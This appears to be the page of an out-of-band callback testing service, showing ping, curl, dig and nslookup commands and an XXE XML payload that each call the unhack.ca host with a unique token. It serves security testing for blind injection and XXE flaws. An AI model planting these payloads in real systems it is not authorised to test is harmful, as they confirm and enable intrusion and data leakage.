$ ping -c1 -p 00aaa96cc161ee5758d04d41a482e900 unhack.ca
 
$ curl http://unhack.ca/p/aaa96cc161ee5758d04d41a482e9
 
$ dig aaa96cc161ee5758d04d41a482e9 @unhack.ca
 
$ dig aaa96cc161ee5758d04d41a482e9.ns.unhack.ca
 
C:\> nslookup aaa96cc161ee5758d04d41a482e9 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/aaa96cc161ee5758d04d41a482e9">]>
    <foo>&xxe;</foo>
Waiting for ping...